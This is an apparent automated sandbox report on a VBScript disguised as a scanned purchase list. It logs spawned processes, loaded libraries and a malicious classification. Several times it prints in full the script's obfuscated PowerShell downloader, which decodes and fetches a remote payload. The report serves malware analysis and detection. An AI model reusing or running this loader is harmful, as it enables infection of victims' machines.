Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohI			Jump to behavior

Source: Scanned Purchase List.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5292
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5292			Jump to behavior

Source: classification engine

Classification label: mal92.expl.evad.winVBS@4/5@3/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Paralytical.Nap

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00datdxo.taw.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Scanned Purchase List.vbs

Virustotal: Detection: 12%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohI
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohI	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: .pdb_ source: powershell.exe, 00000001.00000002.3012431445.000001ADE7E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32W source: powershell.exe, 00000001.00000002.3012431445.000001ADE7E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Core.pdb, source: powershell.exe, 00000001.00000002.3012431445.000001ADE7DC9000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("Powershell.exe", ""<#selvhrdendes Opdrager Hjremarginerne", "", "", "0");

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohI
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T 